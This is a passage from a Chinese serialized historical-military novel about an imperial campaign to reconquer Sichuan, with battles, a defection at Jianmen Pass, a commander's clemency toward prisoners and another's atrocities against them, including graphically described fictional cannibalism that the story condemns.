一晃儿已是三月底,毛迪率领着四万殿前军抵近了西乡。在部队休整的间隙,毛迪把几名原籍四川的军将叫进了大帐。毛迪说:“各位,在行军时,本帅已派出多股细作探看了荔枝道。昨天,本帅接到回报,说这条路整体上适合通行,敌人仅仅毁掉了蒋家坝附近的几座桥梁,再就是在渔渡坝和官渡坝布置的有重兵。为此,本帅已与伍名、布方等将军议定了作战方案。为了减少伤亡,本帅还想派你们领几支小部队渗透到敌后去,不知诸位有何高见?”新科进士贺守成抢先发言道:“大帅,这个容易。下官家里三代都是跑马帮的。下官可以带些兵将,扮做皮货商人,混到洋源去。”校尉郭豪也说道:“大帅,末将在没当兵之前是真佛山的道士,也可带上几个弟兄扮成游方老道混到敌后去。”接着,其他几名校尉也说出了各自的办法。毛迪眯缝着眼睛想了想,说道:“形式太多容易引起敌人的怀疑,不如就由贺守成和岑汉组织两个马帮,插入敌后。咱们里应外合,定可大破敌军。”贺、岑二人赶忙跪倒说:“卑职领令。卑职这就去组织人员,调配货物。”毛迪搀起二人,先打发走其他军将,又郑容说道:“你们是公义王特意捡抜的武进士,前途一片光明。如今又有了为国立功的机会,连本帅都羡慕你们啊!不过,话又说回来,骆建成治川日久,难免也会做几件对地方有益的事。你们的家眷多在川中,会不会因此就顾念他的恩情呢?”贺、岑二人听出了大帅的话外之音,赶紧跪倒。贺守成一边磕头一边起誓说:“末将只忠于大周,只会替公义王和大帅出力,绝不会贪图骆建成的好处。再说,我家叔父现居汉中,我家姑母嫁在南郑,末将怎么敢拿亲族的性命开玩笑呢?还请大帅明察!”岑汉也诚惶诚恐地说:“大帅,末将绝不敢做背叛大周的事情。我兄长现在易东将军帐下效力。末将为了家族的荣誉,也要把全部忠心献给大帅。”毛迪伸手把二人拉起来,哈哈大笑说:“一句戏言,何必当真呢!再说,我有四万兵马,敌人只有六千,谁胜谁败一目了然。你们都是聪明人,又怎么会搭上一条即将沉没的船呢……”在此次谈话结束后,贺、岑二人很快便各自带着马帮去往了巴地。 几天后,按照之前的约定,忠肃候苗家伟开始大举攻击剑门关。为了表达对公义王的拥戴之情,苗家伟不惜血本,调来了五万大军。他亲临前线,亲自擂鼓,指挥着整营整营的雍州军仰攻关城。然而,由于剑阁的地势太过艰险,苗家伟的部队一连强攻了数日,损失了许多人马,却始终未能取得战果。 与此同时,蒙正和易东的万余部队也开始翻越米仓山,往巴中方向杀去。可谁知道,他们刚到蒿坝就受到了敌军顽强的抵抗。蜀军利用地利,将千余兵力布置在山崖西侧,只要周军一靠近,他们便将密集的箭雨倾泻下来。蒙正损失惨重,不得不暂时后撤。夜里,易东又组织人马爬山偷营,可却被敌人发现。蜀军将大量石头从山上滚下,被击中的周军不死带伤。最终,易东所部扔下了上百具尸体,也败回了营寨。 得知其他两路已经开始了行动,毛迪随召集属员,分派兵将。他让伍名率五千人马做前部,沿泾洋河开辟道路、架设桥梁、攻击前进。自己和布方率两万主力和炮军在后跟进。施济胜则领着辎重部队和一万后卫部队沿途建立据点,巩固占领区域。 起初,荔枝道还算平坦。伍名骑在马上看着雄壮的部队,望着苍翠的群山,听着潺潺的流水,闻着馥郁的草香,不无得意地对包孝敏说:“包将军,看来这伐蜀的头功是落到咱哥们头上了。照这个速度,咱们后天就能开到巴中城。”包孝敏一脸严肃地给他泼冷水说:“大将军,您是受公义王重用的人,可不敢轻敌误了王爷的事啊!再往前就是堰口了,到了那儿才算真正进山,后面艰险的路还长着呢!”伍名意识到了自己的狂妄。他向包孝敏抱拳说:“包将军提醒得很及时,伍名由衷感谢!”他又对亲兵命令道:“传令各营,仔细开道,小心前行,若有简慢嬉闹者军法从事。”包孝敏挑起大拇指说:“将军能够听取劝诫,乃我军之幸啊。”他又向伍名行了个礼说:“末将做为开路先锋,这就到前面去探路架桥。将军保重,包某去也。”说完,他便催动坐骑向前驰去。 果然,平坦的道路在三四里之后便被蜿蜒的羊肠小道代替了。士兵们弓着身子、牵着骡马、扛着器械、拄着刀枪在崎岖的山径上艰难前行,队伍被拉得很长。先前和缓的泾洋河也变得湍急起来,发出哗哗的吼声,叫人不寒而栗。到了蒋家坝,大路已经断绝了。包孝敏一面命人修复河上的桥梁,一面命哨兵沿小路探看。他还亲自跳进水中,帮着兵将捆扎绳索,固定架桥的木桩。当日晚间,部队就在大巴山里露营。帐篷是搭不起来的,很多士兵只能靠在山壁上和道路边忍那么一宿。 次日天光大亮时,两座木桥搭建完毕。伍名和包孝敏立即催动部队过河,占据了地势较为平整的月亮坝,并在那里构筑了防御工事。其后,伍名继续领兵向前,并在两天内,接连攻取了防卫松懈的杨家河、镇巴城和小洋镇。主帅毛迪闻讯大喜,下令嘉奖了伍名全军,并提供酒食犒赏前线的将士们。 翌日,伍名留包孝敏在小洋镇构建墙垒,自己则领着三千军兵向前开进。过了王家岭,道路变得开阔,伍名传令快速前行。又走了十几里,伍名抬头观瞧,只见两山夹持,水深流急,树木丛杂,枝叶茂盛。伍名心下疑惑,勒住战马问道:“此为何地?”有军兵说:“这里名叫伍家石。”伍名心中暗惊道:“伍家石谐音伍家死,难道对我会有不利?”他正想撤退,只听山上一声炮响,紧接着,就有巨木大石滚下。伍名大叫道:“中埋伏了。快退!”然而,背后的道路已被木石遮断了一半,士兵们相互拥挤,场面混乱。伍名命令跟前的几十名亲兵突在前面,搬石开路。他又对军兵们喝道:“盾牌手在外,大家鱼贯而走。”这时,山上的梆子声响了起来,两下里万弩齐发。也许是由于衣甲过于鲜亮,敌军将领特意让多名弓箭手瞄准伍名射击。在拨打箭弩的过程中,武名一个没注意,竟被一枝雕翎贯穿了脖颈。“大将军!”几个亲兵抢到跟前,抱住伍名,想要医治。可是,为时已晚,满嘴是血的伍名用手指着山头,身体颤动了几下,眦目怒恨而死,时年四十一岁。 此时,蜀军又从后面掩杀上来。幸亏校尉郭豪约束部下,拼死力战,才将敌兵击退。败军回见毛迪,将前事详细告知。毛迪痛哭失声,仰天长叹说:“伍名乃公义王股肱,又是我的兄长。他的死,我有责任啊!”随后,毛迪一面上书请罪,一面厚殓伍名。 那么,周朝大军还能否顺利拿下四川呢?元帅毛迪又将怎样扭转不利的战局呢?欲知后事如何,且看下回分解。 第五十八回1 毛承循释仁德 苗家伟食虏肉 在为伍名棺殓之后的第三天,毛迪召集军中将佐,商讨下一步的行动。毛迪哀伤地说道:“伍将军是为了消灭割据,统一国家才壮烈牺牲的。他跟从公义王凡二十年,卫上以忠,交友以诚,厚下以礼,行事以公。我,我每每回忆起与兄长相处的过往,肝肠寸断,伤心欲绝。昨晚,我在伍兄灵前发誓,要为他报仇。可当我言说要把他的灵柩运回西乡时,突然起了一股疾风,将兄长的灵位刮倒。他这是还有遗愿未了啊!”毛迪抹了一把眼泪,继续说道:“我猜测伍将军是想,在打下江州,拿下西蜀后,再以胜利者的身份从大道凯旋。将校们,难道我们能让伍将军泉下不安,停灵在此,久久无法归家吗?”“不能!为大将军报仇!替伍将军雪恨!进攻渔渡坝!打到江州去……”军将们群情激奋,振臂高呼。这时,一员战将号哭着扒开众人,跪地叫道:“大帅!公义王捡抜了包某,可我却没能保护好主将。包孝敏对不起武将军啊!请大帅准许我组织敢死队,再攻伍家石!”毛迪上前搀起包孝敏,咬着牙说:“好!既然包将军愿为主将报仇,本帅就准许你组织敢死队。我还要把帅营的卫队配备给你,咱们这一仗必须大破敌兵。不过,干挨打的事咱不能干。”他转脸对布方命令道:“布将军,把你的炮军开到伍家石山侧,用铁炮把山上的那帮王八蛋都给我轰下来。”布方躬身抱拳说:“末将得令。”毛迪接着命令说:“敌人挨了炮击,必然回撤渔渡坝,咱不能让他们站稳脚跟,咱得快速追歼敌人。李仲启,命你率领一千轻骑沿路攻击,直到将敌兵堵在官渡坝之外。”李仲启叉手施礼说:“末将遵命。”毛迪又对众将说道:“兵贵神速,大军已在此处停留了数天,不能再耽搁了。本帅要求各军今日白天做好准备,明天凌晨,在敢死队和炮军发动攻击、骑兵队追上去之后,全军一齐压上,不给敌人喘息之机。”众将全都跪倒喊道:“谨遵大帅军令!” 是夜,在皎洁的月光下,一千五百名敢死队军将,口衔柳叶,身穿单衣,手握兵刃,不张灯火,悄悄地摸到了伍家石山下。包孝敏将军看了看地势,用极低的声音命令道:“弟兄们,按照白天的安排,每二十个人为一队,悄没声地溜过去,到了四方碑咱再往上杀。”他面前的几个兵头轻声应了个“明白”,各自带着小队按序潜进了伍家石山谷。 当包孝敏领着一小队兵卒前出到四方碑时,他一口吐出嘴上衔着的树叶,挥刀指向前方的矮墙,高声喝道:“弟兄们,为伍将军报仇的时候到了,跟着我,冲上去!”说完,他一马当先向敌人的防御阵地突去。后面的敢死队兵卒也呐喊着、玩了命地往上冲。很快,他们便突破了蜀军设置在谷口的头道障碍。 不过,敢死队的进攻也惊动了山上和谷外的敌军。他们开始组织人马进行反击。不多时,山上亮起了几百枝松球火把。紧接着,便有巨石大木滚将下来,发出骇人的“轰隆”声,又有箭弩胡乱攒下,试图射杀周军。好在包孝敏所部已经突进了蜀军阵地,且又无明显标志可做攻击参照,故而周军的伤亡不大。反倒是蜀军的火把为周军发炮指明了方位。早已等得有些心焦的布方把铁哨放进嘴里,“嘟、嘟、嘟”的吹了三下。“咚隆隆……咚隆隆……咚隆隆……”二十几条火线抛向了山头,其中的几炮还砸中了目标。从敌军的叫喊声中,布方听出了对方的慌乱。他大声命令道:“继续发炮。把带来的这些弹药都给我打出去!”又是一连串的炮击,山上的蜀军有了伤亡。 与此同时,包孝敏的敢死队与敌军在谷口也展开了肉搏。身上已有两处受伤的郭豪一刀劈翻了当面之敌,跳上蜀军箭楼,一把扯下“蜀”字大旗,高声大叫道:“蜀军败了!蜀军败了!”本来就已落在下风的蜀人更加畏战,向后退却的士兵越来越多。包孝敏看到这种情况,也马上命部下高喊“蜀军败了”,并继续加强进攻。这下,蜀军真的坚持不住了,兵士们开始逃跑,防线趋于崩溃。而山上的蜀军听闻山下兵败,害怕自己的归路被周军截断,又加上自身已损失惨重,随丢下阵地,也向山下涌去。一时间,喊杀声、惨叫声、哨令声、发炮声、兵刃撞击声此起彼伏,响彻山谷。 再看伍家石北口之外,向前移动的火把绵延不断,红彤彤的火光几乎照亮了半座大巴山。而战马的嘶鸣声和马队奔腾的铁蹄声也能被山谷里的人清晰地听到了。最后几个挡在谷口的蜀军放弃了抵抗,他们丢下兵器,跟着其他败兵一道向南边逃去了。 李仲启的骑兵扑上去了。他们有如狼入羊群一般,肆意撕咬着已经无力反抗的敌人。在荔枝道两边,到处都是被周军砍杀的尸首和被蜀军丢弃的兵器、辎重、旗帐。 拂晓时分,李仲启率军追至了渔渡坝。守军还想顽抗一下,可败退下来的蜀兵却完全丧失了作战意志。他们穿城而过,还把追兵引入了城内。经过一番不甚激烈的战斗,周军占领了渔渡坝。接着,周军骑兵继续追击,并很快打到了官渡坝城下。李仲启正欲下令攻城,却见城头一阵大乱。紧跟着,城门大开,一人站在城上高声大叫道:“我乃中军都尉贺守成。周军弟兄快快进城围歼蜀兵。”李仲启喜出望外,挥动兵器,命令道:“我们的贺都尉已打开了城门,跟着我,冲啊!”近千骑兵突入了城中。战斗的结果毫无悬念,太阳刚刚爬到山顶,李仲启就完全占据了官渡坝。最为重要的是,当毛迪率领大军向前压上时,竟将蜀军主力三千多人围困在渔渡坝与官渡坝之间的山谷中。至下午,蜀军眼看无路可逃,随放下兵器向毛迪投降。 次日上午,毛迪命令将三千余降卒带到官渡坝前的空场上。这些战败的蜀军看着四周披坚执锐、怒目而视的周军,心里甚是惶恐。当被要求脱掉身上的铠甲军服时,有些兵卒开始哭泣。这种哀伤的情绪很快传播开来,一时间,场地里面哀声肆起,还有人对天祷告道:“老天爷啊,救救我们吧!我们就是些听令的兵卒,别杀我们啊……” 第五十八回2 毛承循释仁德 苗家伟食虏肉 巳末,毛迪在一众将佐的簇拥下,驱马来到降兵近前。李仲启抱拳拱手说:“大帅,被俘的蜀兵都在这里。敢问大帅,我们啥时候动手?”毛迪先是一愣,继而嗔怪道:“本帅何时说过要杀他们的?”包孝敏试探着问道:“大帅的意思难道是,饶恕其中的一些人?”还没等毛迪回话,后面的布方就沉着脸怒道:“姓包的,知道你想袒护四川人。哪有那么便宜的事!老子就是要用这些人的脑袋祭奠武大将军!”毛迪转脸看了看布方和其他将军,用平和的口吻说道:“布将军,还有各位兄弟,若论私交,我对武大将军的感情比你们都要深厚。然而,战争自有它的规则。前日,这些人是我们的敌人,他们对我们打打杀杀有何不对?反过来说,昨日,我们对他们以牙还牙也没什么不可!但是,今天,他们已经是我们的俘虏了,明天,他们还将成为我大周的子民。若我们仍要屠杀他们,则于私我等称不上光荣,于公我等破坏了国力。”说着,毛迪从怀中取出一份黄绢,高擎过顶,继续说道:“你还别瞪我。这是大军离京时,公义王亲手交给我和伍大将军的王谕。公义王说,要我们快速进兵,减少杀戮,以实力光复巴蜀土地,以仁德收服四川人心。诸将做为公义王的忠诚部下,是听令执行呢,还是想抗令不遵呢?”布方、李仲启等人互相看了看,虽然仍有些不甘,但在思虑一瞬后,全都甩镫下马,跪在地上高呼道:“末将谨遵公义王谕令。”而包孝敏、郭豪、贺守成等川籍将校更是涕泣着磕头说:“公义王和大帅的仁德之心,我四川军民永世不忘!”毛迪提马向前,高声喝道:“降兵们听着,我乃公义王任命的征蜀总管毛迪。四川子民受我大周恩泽已近六十年,你等不知报效国家,却跟从骆建成起兵造反。若本帅以此治你们的罪,就算你们每人长了十颗脑袋也不够本帅砍的。然而,公义王有好生之德,不愿生灵涂炭、血流成河。他命本帅‘减少杀戮,以实力光复巴蜀土地,以仁德收服四川人心’。故此,本帅放你们回去。尔等不可再执迷不悟、附逆为奸,倘若下次你们再被我军逮到,则毛迪必然代天惩戒、绝不荣饶!”已经近乎绝望的俘虏们简直不敢相信自己的耳朵,他们冲着毛迪跪下,哭喊着叫道:“多谢公义王不杀之恩!谢毛将军饶我等活命!伟大的公义王!仁德的毛将军!大周万岁!大周万岁……” 之后,毛迪率军接连占领了洋源、宣汉,彻底跳出了大巴山区。接着,深入敌后的都尉岑汉又说动了达州守将夏震来降。夏震还联络了自己的一些亲朋共同反水。毛迪兵不血刃先后光复了达州、渠州、合州和江州,实现了之前制定的作战计划。 对于东部巴地的局势变化,蜀王骆建成非常恐惧。他一面广派监军,命令各地严防死守;一面从剑阁和成都抽调兵力,组建新的嘉陵江防线。由于此时的毛迪正忙于攻击涪州和夔州,无暇他顾,故而,骆建成对蜀地西部的掌控还算稳固。 而在北边,已经连续攻击剑门关长达一个多月,并且损失了万余人马的苗家伟气急败坏地对将佐们吼道:“一群无用的废物!这么长时间了,你们竟然连个小小的剑阁都打不下来。本帅的脸都让你们给丢尽了!”这时,一员将领出列参拜道:“大帅,在历史上剑门关从来没有被人从正面攻破过,而我军能够长期强攻,士气不堕,足见大帅治军有方啊。”苗家伟一看,说话者是自己的心腹大将王坤一,随和缓了一下口气说道:“坤一,说是这么说,可是,总不能让这功劳都被姓毛的后辈抢了去吧!况且,咱们跟公义王本就疏远,原指望通过此战拉近拉近我们之间的关系。这下可好,咱们吸引了敌人主力,却让毛承循顺利入川,这不是给他人作嫁衣裳吗?”王坤一笑着抱拳说:“大帅,之前这险关确实难打,不过,现在吗,就不一定了。”苗家伟听他话里有话,精神一振,向前探着身子问道:“坤一啊,你倒快说说,有什么好办法?”王坤一扫视着众将,又一抱拳说:“请大帅屏退左右。”苗家伟轻轻拍了拍额头,一挥手说:“对对对。你们这些废物,还不于我下去!”众将不敢多言,纷纷退出了帐外。苗家伟走下帅案,急迫地问道:“坤一啊,可以说了吧。”王坤一又一抱拳说:“大帅,您可记得跟从张永德造反又逃到巴蜀去的沈建平吗?”苗家伟眯起眼睛说:“就是先前的汉中镇守使,那我如何会忘记呢。”王坤一接着说:“他前些时被骆建成任命为剑阁监军,三天前刚刚到任。我家二哥跟这个沈建平是挚友,可去游说,让他开关献城。”苗家伟惊异地说:“要真能如此,那就太好了!不过,沈建平会投降我们吗?”王坤一又笑了笑说:“大帅放心,昨夜,就是沈建平主动派人来跟我二哥联系的。先前他看张永德兵败,害怕被灭族,所以选择了逃跑。但后来,公义王连首犯张永德都能特赦,他沈建平又算得了什么呢?再说,朝廷的大军已经打进了四川,巴蜀被平定是早晚的事。沈建平若不趁着现在立功反正,那就只有死路一条了。”苗家伟捋着胡须说:“坤一所言确有道理。但是,那关城里的蜀军将校能听沈建平的吗?”王坤一又一抱拳说:“这不要紧。沈建平手下有百十名亲兵。只要他能给咱们打开关口,以我军的战力,对付关上的千余守军以及其后的万余蜀兵还不是易如反掌吗!”苗家伟不住地点头说:“嗯……坤一说的不错。那么,沈建平想向本帅求些什么呢?”旋即,他又改口道:“啊不,咱这样,不管他开出什么条件,你都先答应他。等他献出了剑阁,他说的可就不算了。到那时,本帅想怎么处置他就可以怎么处置他。”王坤一嘿嘿笑着说:“大帅高见,末将一定按您的意思把事情办妥帖了……” 双方你来我往谈判了数轮,沈建平最终同意了归顺朝廷。在一个月黑风高的晚上,沈建平利用巡城的机会,打开了剑阁的大门。苗家伟的部队一拥而入,经过一番激烈的战斗,剑门关易手,雍州军取得了完全的胜利。 第五十八回3 毛承循释仁德 苗家伟食虏肉 次日早上,苗家伟命令沈建平拿着招抚文书,去山下招降蜀兵。考虑到敌军还有相当的战斗力,沈建平又向苗家伟要了三万两银子的降卒安置费,才哆哆嗦嗦地下了山。快到蜀军营垒时,沈建平胆怯了。他让几个亲兵先到蜀营宣读文告,并要求对方出营跪地,认罪请降。而他自己则驻马于营外的高岗上,随时准备逃跑。 大约过了一个时辰,万余蜀军不带弓弩、不着衣甲,颓丧地走出了军营。他们规规矩矩地跪在地上,冲着远处的沈建平高声呼喊道:“我等有罪,愿意归降……”沈建平在反复确认没有埋伏之后,才缓辔来到营前。他先用战胜者的口吻发表了一番慷慨激昂的讲话,又将一万两银钱分发给降卒,以收买人心。其后,他留下一百名亲兵看押投降的蜀军,而他自己则跑回关上向苗家伟邀功请赏。苗家伟倒也干脆,先封了沈建平一个绵竹镇守使的虚衔,又给了他三千雍州军,要他用这些人整训新降的蜀兵。 在编练部队的过程中,沈建平为了向苗家伟献殷勤,有意抬高雍州军的地位,却处处打压投诚的蜀军。比如,在兵器的配备上,雍州军除了衣甲、盾牌、长枪或腰刀外,还装备的有硬弓和十二枝弩箭,每十个人还配有一匹骡马代步;而降卒却仅仅装备了一把短刀。在伙食的供应上,雍州军每人每天供粮九两,还另供酒肉若干;而降兵每人每天仅能供粮七两。赏银的分配上,两军就更不在一个等次上了。这样一来,本就自认为高人一等的雍州军更加狂妄。他们肆意地挖苦和欺负投诚军,甚至还当着投诚兵将的面糟蹋四川的老百姓。 过了十天,苗家伟安排好了剑门关的防务,随命令沈建平做为全军的先导,经梓潼攻击绵竹。沈建平不敢怠慢,立即拔营,沿金牛道南下。当天下午,沈建平所部到达了普安镇。走在最前头的雍州军见此地比较富庶,便开始大肆抢掠。其间,他们还奸淫了一百多名妇女,杀死了几十个普通百姓。 申末,跟在后面的四川降兵也到达了小镇。过了不久,先后有两名四川士兵象疯了一样手举着短刀冲向近旁的雍州兵。其中一人还撕心裂肺地哭叫着:“我那可怜的堂客吔!你们这帮该死的畜生……”转眼间,这二人便劈翻了数人。只是,雍州兵也不白给,在打斗一阵后,终将这两人擒获。这两个四川兵挣扎着,冲周围的战友哭喊道:“我哩大哥被他们杀喽!我哩堂客被他们糟蹋了!咱们投降有哪样好处?你们早晚也跟我们一样!还不如跟他们拼喽……”身在现场的蜀兵,难以压抑胸中的怒火,纷纷拉出兵刃,与身边的雍州军斗到一处。就这样,一场哗变爆发了。 然而,参与哗变的蜀兵毕竟是少数,在沈建平率领卫队到达现场,并逮捕了百十名降兵后,局面恢复了正常。 事情报到统帅部,苗家伟非常恼火。他对帐下的将军们说道:“这些投降的蜀兵,真是贼性不改,要是不给他们点颜色瞧瞧,恐怕下次他们还会哗变。”他转头对王坤一说道:“王将军,你带上五千精兵连夜出发,进驻普安镇。明天一早,你把降兵全都给我集中到镇外。本帅要让那些贼坯子好好看看,犯上作乱是什么下场……” 第二天上午,苗家伟出现在了普安镇外的空场上。他先命亲卫在场地中央生起了二十堆火,又在火上架起了二十口大铁锅。接着,他若无其事地命令道:“把昨天参与哗变的降卒全部斩首。再把他们的心掏出来,扔进锅里煮着!”亲卫们答应一声,便跑到空场一侧,开始了杀人挖心的表演。降卒们看着这惨绝人寰的场面,听着乡人痛苦无助的哀嚎,他们在感到惊骇的同时,也觉得自己的心在流血。 杀人的过程持续了半个时辰,苗家伟缓步走到一口铁锅前,把宝剑伸进锅里搅了两下,啧啧道:“这也太稀了些。”他随手往降兵方向指了指,笑着说:“把那二十个人给我抓过来,一锅一个煮了,正好够我的卫队吃。”他的亲兵卫队唱了个诺,如狼似虎扑向前方瑟瑟发抖的巴蜀降卒,生拉硬拽地从中拖出了二十个士兵。这些待宰的降卒发出了歇斯底里的求饶声。可是,完全没有意义。只见行刑的雍州军把这二十个人绑在木桩上,剥光衣服,又浇上几桶水,之后,便对他们开肠破肚…… 又过了半个时辰,铁锅里的人肉已经熟烂,连人骨都随着沸水上下滚动。苗家伟乐呵呵地说:“给本帅捞颗人心来。”手下人不敢迟慢,赶紧去锅里挑了颗人心用银盘子装着,呈给了主帅。苗家伟用刀割下一片肉,轻轻吹了吹,放进嘴里嚼了嚼。咽下去后,他轻呼一口气,说道:“往锅里放些盐,让我的卫队享用。” 看着自己的乡人、兄弟被这帮恶魔当成猪狗吃掉,巴蜀降卒既恐惧又怨恨。他们紧紧握着拳头,在心里不停地发誓:只要有机会,自己一定要将这些魔鬼扒皮抽筋、碎尸万段。 一天后,沈建平命令部队继续向梓潼开进。为了不再发生抢掠和哗变,他让投诚军在前面开道,而他本人和王坤一则约束着雍州军在后跟进。 四川的降兵开出普安镇时,一边走一边哭。到了下午,不少人开始用刀劈砍路边的树木和石头。突然,一名军官跳上土台,愤怒地叫道:“你们哭什么哭!破坏兵器,不给他们卖命,雍州军就能把咱当人看了吗?早知道这样,咱就不该投降!咱就该跟这些畜生血战到底!”下面的士兵全都振臂高呼道:“彭校尉说的对。他们吃咱们的肉,喝咱们的血,咱咋就降了这帮王八蛋呢!”还有几个军官凑上前说:“彭铁大哥,你是咱营的头儿,你就说咱该咋办吧?”彭铁咬着牙说道:“如今之计,只有再反!”下面的士兵毫不犹豫呼喊道:“听彭校尉的,咱反了!咱反了!”有一个小军官皱眉提醒说:“彭铁大哥,咱们营好说,其他营咋办?现在咱这队伍里除了一个参将,其他将军都被沈建平看押着呢。咱如何号令全军呀!”彭铁把手一挥,说道:“提起雍州军、沈建平还有那个苗家伟,咱四川人哪个不是恨得牙痒痒。等会儿,我就找各营的校尉商量这事。至于说统帅吗……咱现在的位置再往南四十里就到梓潼了。我听说那里有近万蜀军,守将韦国祯乃唐朝名将韦皋的后人。咱们可以去跟韦将军联合。如果今夜,我们反过身来袭击雍州军,定可杀他们一个落花流水。”台下的降卒们听得血脉喷张,纷纷高叫道:“干!就这么干!咱都听彭校尉的,投靠韦将军!杀光这帮该死的雍州兵!”彭铁看无人反对,立即传令说:“幺儿,你去黑字营把马校尉和刘校尉请来。山子,你去习字营把裘校尉请来。小二,你去弁字营把顾校尉请来。我得先跟这几个兄弟碰碰头,然后再去联络其他各营。还有,江书办,你现在就给韦将军写信,咱得请韦将军派人来给咱主持大局。”军将们应诺后,各自欢呼着去准备了…… 当夜三更,一万多四川降卒反身偷袭了雍州军。由于熟悉地形又人人拼命,这支装备低劣的部队硬是把雍州精锐打得死伤无数,溃不成军。那位反复无常、一叛再叛的沈建平死在了乱军之中。就连雍州主帅苗家伟也狼狈地败逃了五十里,才收拢住残部。 消息传到了汴京,宋启愚拍案而起。他愤怒地说道:“天道昭昭,乾坤郎朗。匹夫做出如此恶行,本王焉能容你!” 那么,公义王会怎样处理此事呢?请看官续读下回——《谭文元的高光时刻》。 第五十九回1 谭文元的高光时刻 深夜,宋启愚写完了信笺,默默地走到窗前。他凝眉望着黯淡的星空,低声吟诵道:“雍州兵将虽骁勇,纵暴竟与柔然同。闻它吃人剑阁外,巴蜀谁人不死争!”他用手抚着额头,又自言自语道:“天地神明,仙逝的怨鬼,本王定要还四川人民一个公道!”他回到书案前,将信件装进不同的锦匣,又贴好了封条,才转头对外面喊道:“段鲲、杨道。”两员护卫应诺一声,跨进了门槛。宋启愚拿起两个锦匣,递给段鲲说:“你马上去趟兵部,让他们连夜用快马把这两个锦匣送往军中。第一件发给毛承循。鉴于他已经与司马焌、康恩、李景汇合,本王命他立即西取泸州、宜宾和内江。匣子里面还附有我的几封亲笔信,可供他招降各处的官民使用。”段鲲赶忙接过锦匣。宋启愚又说:“第二件送到巴中前线,命令蒙正、易东撤出米仓山,改由剑阁入川。”段鲲躬身答道:“末将这就去兵部。”宋启愚回身又取过一个锦匣,交给杨道说:“这件,明日发给国栋将军。”杨道接过锦匣,躬身施礼说:“末将遵命。”宋启愚从桌子上拿过最后一个锦匣,随口问道:“再造和长白回府了吗?”还没等杨道答话,就听外厢有人言道:“我跟再造看公义王心情不悦,一直在此听命。”随着声音,童道生和吴襄走进了书房。 看两个朋友对自己如此关心,宋启愚觉得很宽慰。他迎上前来与二人见了礼,又示意杨道下去,并吩咐从人献了茶,这才把锦匣递给吴襄说:“长白,这道手令你转给双桂。要他加强陕西的治安。雍州军方面,你不用担心,我昨日已命光照带着一万禁军往长安去了。”吴襄边接锦匣边说:“看来,公义王是决心要动一动苗家伟了。”宋启愚点头说:“不错。连人都敢吃,他们还有什么事情做不出来?国家要强大,社会要发展,绝不能依靠这种缺少人性的无赖。”宋启愚轻舒了一口气,又说:“好在承循已经打下了夔州,东路大军也已进入了巴地。若他们互相配合,水陆并进,很快便能兵临成都城下,骆建成的末日快到了。另外,我又命令蒙正绕道剑阁,卡住苗家伟的退路,这就等于是用八万大军包围了三万雍州军。我料苗家伟是不敢铤而走险的。”童道生略一拱手问道:“那么,公义王准备怎样处置苗家伟呢?”宋启愚轻舒眉头说:“毕竟他抗击过西羌,又跟柔然打过仗,就革职迁往徐州居住吧。通过这件事,我感觉有必要在军队的操典制度里增加退职条款,以遏制军人无端杀戮和作恶。”童道生点头说:“这是对的。如果可能的话,您还应该把这种制度推广到官吏的管理上,甚至用它制约皇权。”宋启愚微微笑了笑说:“再造与唐学士的观点倒是越来越接近了。不过,你们想过没有,咱们的皇帝只有一个,不可能换人,那要怎样约束呢?”童道生呵呵笑着说:“不瞒公义王,兄弟跟唐明渊确实探讨过此事。唐学士说可以不必动摇皇帝的地位,只削弱其权力就足够了。”宋启愚凝神想了想说:“唐学士的想法确有独到之处。明天让他到府里来吧。我要跟他谈一谈。”接下来,宋启愚又转向吴襄说:“长白,双兰夫妇去金陵也有不少日子了,不知现在怎么样?我还是有些担心的。”吴襄却满不在乎地说道:“我这个丫头野惯了,不会有事的。倒是钱若水文文弱弱的,我就怕他耽误了公义王的事。”宋启愚哈哈大笑说:“你家女婿可不是个简单的人物。在随我征讨耿宇辉的时候,每次都是他冲在前头斩将夺旗啊!他的文笔也不错,又会瞧病,可谓是文武双全,尤其是,他还精于绘画。咱家双兰的眼光确实挺贼啊!”吴襄赶紧陪着笑说:“长白代小婿谢公义王谬奖。”兄弟三人又聊了一阵子,直到丑时,才各自安歇。 第二天,在金陵城内秦淮河边的大道上,吴双兰和钱若水夫妇领着一群执事,抬着蒙了红绸的匾额,吹吹打打地往大将军府走去。一路上,不少看热闹的人凑趣问:“大兄弟,这是往哪里讨喜呀?”钱若水嘿嘿笑着说:“上个月,谭大将军帮我夺回了运药的船,又帮我卖了货。我夫妻这是抬着金匾感谢大将军去。”吴双兰也笑着招呼众人说:“大伙都去,都去啊!凡是跟着我们去给大将军磕头的,我每人给两个大钱的好处。”“好呃!还有这么好的事呢。小兄弟、小嫂子等等,我们都去!”周边街巷的老百姓听说有钱可挣,全都打着哄跟在后面往夫子庙方向走去。 不多时,众人兴高采烈地来到了大将军府门前。钱若水用双手撩开匾额上蒙着的红绸,朗声对大家说道:“各位请看。‘恩泽万民’这是小可对谭大将军的由衷感佩。我走南闯北也去过不少地方了,就数咱金陵繁华太平。要不是我这买卖主要在淮南啊,我都不想回去了呢!伙计们,敲打起来。让我们一齐跪地,请谭大将军亲手来接匾好不好啊!”“好啊!”人们又发出了一阵欢呼声。转眼间,在大将军府门前已经跪了几百号人。当然,也有人是为了挣那两个铜钱,才暂时委屈自己膝盖的。看到这种情形,门前值守的军将赶紧进府去通报。 那位曾经的文举人、饶国军师,现在金陵城的最高长官谭文元早就听到了外面的锣鼓声。他觉着这是树立个人威望、传扬美好名声的机会,便呵呵一笑说:“列位将佐。看来老百姓还是有良心的。本帅只为他们做了一点小事,却能得到如此颂扬,真是惭愧得很啊!”议事厅里的将校们则喜笑颜开,点头奉承道:“大将军爱民如子,治政有方,理应得到万民的爱戴啊!”又有人挑着大拇指说:“能在大将军麾下效力,实属我等的福气啊!”还有人撺掇道:“大将军,不如您就带着我们到府外去开开眼。也让我们听听老百姓对您的赞颂。”谭文元心里很得意。他轻咳了两声,爽朗地说:“百姓嘉许,谭某没有推辞的理由,我这就率领你们出府接匾。”